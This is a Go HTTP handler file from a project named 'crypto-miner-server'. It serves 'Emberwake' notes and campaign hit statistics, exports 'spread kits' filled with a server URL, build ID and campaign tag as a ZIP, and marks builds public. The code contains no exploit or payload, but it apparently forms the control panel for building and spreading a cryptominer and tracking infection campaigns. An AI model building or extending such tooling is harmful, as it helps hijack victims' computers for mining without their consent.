package api import ( "archive/zip" "bytes" "encoding/json" "io" "net/http" "os" "path/filepath" "strings" "sync" "time" dbpkg "crypto-miner-server/internal/db" "github.com/go-chi/chi/v5" ) // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export. type SpreadHandler struct { db *dbpkg.Database dataDir string projectRoot string wsHub *WSHub notesMu sync.RWMutex } func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler { return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub} } func (h *SpreadHandler) notesPath() string { return filepath.Join(h.dataDir, "emberwake-notes.json") } type emberwakeNotes struct { Content string `json:"content"` UpdatedAt string `json:"updated_at"` UpdatedBy string `json:"updated_by"` } func (h *SpreadHandler) readNotes() emberwakeNotes { h.notesMu.RLock() defer h.notesMu.RUnlock() data, err := os.ReadFile(h.notesPath()) if err != nil { return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""} } var n emberwakeNotes if json.Unmarshal(data, &n) != nil { return emberwakeNotes{} } return n } func (h *SpreadHandler) writeNotes(n emberwakeNotes) error { h.notesMu.Lock() defer h.notesMu.Unlock() data, err := json.MarshalIndent(n, "", " ") if err != nil { return err } return os.WriteFile(h.notesPath(), data, 0644) } // GET /api/v1/emberwake/notes func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) { writeJSON(w, h.readNotes()) } // PUT /api/v1/emberwake/notes func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) { var body struct { Content string `json:"content"` } if err := json.NewDecoder(r.Body).Decode(&body); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } n := emberwakeNotes{ Content: body.Content, UpdatedAt: time.Now().UTC().Format(time.RFC3339), UpdatedBy: AuthUsername(r), } if err := h.writeNotes(n); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if h.wsHub != nil { h.wsHub.BroadcastEmberwakeNotes(n) } writeJSON(w, n) } // GET /api/v1/emberwake/campaigns func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) { hits, err := h.db.ListCampaignHits(50) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if hits == nil { hits = []dbpkg.CampaignHitSummary{} } writeJSON(w, map[string]interface{}{"campaigns": hits}) } type spreadKitExportRequest struct { BuildID string `json:"build_id"` ServerURL string `json:"server_url"` Campaign string `json:"campaign"` } // POST /api/v1/builder/spread-kit-export func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) { var req spreadKitExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.BuildID = strings.TrimSpace(req.BuildID) req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.Campaign = strings.TrimSpace(req.Campaign) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher") if _, err := os.Stat(templateDir); err != nil { http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound) return } var qparts []string if req.BuildID != "" { qparts = append(qparts, "pin="+req.BuildID) } if req.Campaign != "" { qparts = append(qparts, "c="+req.Campaign) } querySuffix := "" getQuerySuffix := "" if len(qparts) > 0 { joined := strings.Join(qparts, "&") querySuffix = "?" + joined getQuerySuffix = "&" + joined } repl := map[string]string{ "{{SERVER_URL}}": req.ServerURL, "{{BUILD_ID}}": req.BuildID, "{{CAMPAIGN}}": req.Campaign, "{{QUERY_SUFFIX}}": querySuffix, "{{GET_QUERY_SUFFIX}}": getQuerySuffix, "{{CAMPAIGN_QUERY}}": querySuffix, "{{PIN_QUERY}}": "", } var buf bytes.Buffer zw := zip.NewWriter(&buf) err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error { if err != nil || info.IsDir() { return err } rel, err := filepath.Rel(templateDir, path) if err != nil { return err } rel = filepath.ToSlash(rel) data, err := os.ReadFile(path) if err != nil { return err } content := string(data) for k, v := range repl { content = strings.ReplaceAll(content, k, v) } w, err := zw.Create(rel) if err != nil { return err } _, err = io.WriteString(w, content) return err }) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } if err := zw.Close(); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } filename := "emberwake-spread-kit.zip" if req.Campaign != "" { filename = "emberwake-" + req.Campaign + ".zip" } w.Header().Set("Content-Type", "application/zip") w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`) w.Write(buf.Bytes()) } // PUT /api/v1/builds/{id}/public func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") var body struct { Public bool `json:"public"` } if err := json.NewDecoder(r.Body).Decode(&body); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } if err := h.db.SetBuildPublic(id, body.Public); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public}) }